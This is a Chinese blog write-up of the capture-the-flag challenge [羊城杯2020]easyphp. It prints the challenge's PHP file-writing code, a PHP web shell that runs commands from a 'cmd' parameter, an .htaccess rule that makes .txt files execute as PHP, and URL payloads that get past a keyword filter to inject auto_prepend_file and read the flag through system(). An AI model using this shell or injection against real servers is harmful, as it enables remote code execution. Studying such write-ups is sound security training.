当前位置: 首页 > news >正文

99,[7] buuctf web [羊城杯2020]easyphp

进入靶场 

<?php// 使用 scandir 函数扫描当前目录(即脚本所在目录)下的所有文件和文件夹// 该函数会返回一个包含目录下所有文件和文件夹名称的数组$files = scandir('./'); // 遍历扫描得到的文件和文件夹名称数组foreach($files as $file) {// 使用 is_file 函数检查当前遍历到的元素是否为一个文件if(is_file($file)){// 检查当前文件是否不是 "index.php"if ($file !== "index.php") {// 如果不是 "index.php",则使用 unlink 函数删除该文件unlink($file);}}}// 检查 GET 请求中是否缺少 'content' 或 'filename' 参数if(!isset($_GET['content']) || !isset($_GET['filename'])) {// 如果缺少参数,使用 highlight_file 函数高亮显示当前脚本文件的源代码highlight_file(__FILE__);// 终止脚本执行die();}// 从 GET 请求中获取 'content' 参数的值,并赋值给 $content 变量$content = $_GET['content'];// 使用 stristr 函数检查 $content 中是否包含特定的敏感关键词// stristr 函数用于不区分大小写地查找字符串在另一个字符串中首次出现的位置if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {// 如果包含敏感关键词,输出 "Hacker" 提示信息echo "Hacker";// 终止脚本执行die();}// 从 GET 请求中获取 'filename' 参数的值,并赋值给 $filename 变量$filename = $_GET['filename'];// 使用 preg_match 函数检查 $filename 是否包含除小写字母和点号之外的字符// 正则表达式 "/[^a-z\.]/" 表示匹配除小写字母和点号之外的任意字符if(preg_match("/[^a-z\.]/", $filename) == 1) {// 如果包含非法字符,输出 "Hacker" 提示信息echo "Hacker";// 终止脚本执行die();}// 再次扫描当前目录下的所有文件和文件夹// 这一步重复前面的文件删除操作,确保在处理新文件之前目录中除了 "index.php" 没有其他文件$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}// 使用 file_put_contents 函数将 $content 的内容追加 "Hello, world" 后写入指定的文件// 若文件不存在,会创建该文件;若存在,则会覆盖原有内容file_put_contents($filename, $content . "\nHello, world");
?>

 这段 PHP 代码的主要功能是先删除当前目录下除 index.php 之外的所有文件,然后检查 GET 请求中是否包含 content 和 filename 参数。如果参数存在,会进一步检查 content 中是否包含敏感关键词,以及 filename 是否包含非法字符。若都通过检查,会再次删除当前目录下除 index.php 之外的所有文件,最后将 content 内容追加 "Hello, world" 后写入指定的文件。

需要上传两个文件,一个.txt文件执行命令,一个.htaccess文件解析.txt文件

.htaccess

<FilesMatch "\.txt$">SetHandler application/x-httpd-php
</FilesMatch>

.txt

<?php
if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);
}
?>

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess

 

http://www.lryc.cn/news/531090.html

相关文章:

  • BUUCTF_[安洵杯 2019]easy_web(preg_match绕过/MD5强碰撞绕过/代码审计)
  • Vue05
  • ubuntu18.04环境下,Zotero 中pdf translate划线后不翻译问题解决
  • 基于Python的简单企业维修管理系统的设计与实现
  • 【C++】B2120 单词的长度
  • 2501,编写dll
  • 【router路由的配置】
  • 算法基础——一致性
  • 刷题记录 动态规划-6: 62. 不同路径
  • docker直接运行arm下的docker
  • 014-STM32单片机实现矩阵薄膜键盘设计
  • Sentinel 断路器在Spring Cloud使用
  • [内网安全] 内网渗透 - 学习手册
  • 算法总结-二分查找
  • 基于python的Kimi AI 聊天应用
  • 动手学深度学习-3.2 线性回归的从0开始
  • Spring 面试题【每日20道】【其二】
  • 嵌入式八股文面试题(一)C语言部分
  • Vue06
  • deepseek-r1模型本地win10部署
  • 自定义数据集 使用scikit-learn中SVM的包实现SVM分类
  • pandas的melt方法使用
  • 一文讲解Spring中应用的设计模式
  • Linux的基本指令(下)
  • HAO的Graham学习笔记
  • Elasticsearch Queries
  • 利用matlab寻找矩阵中最大值及其位置
  • SQL入门到精通 理论+实战 -- 在 MySQL 中学习SQL语言
  • 【智力测试——二分、前缀和、乘法逆元、组合计数】
  • Spring Security(maven项目) 3.0.2.9版本 --- 改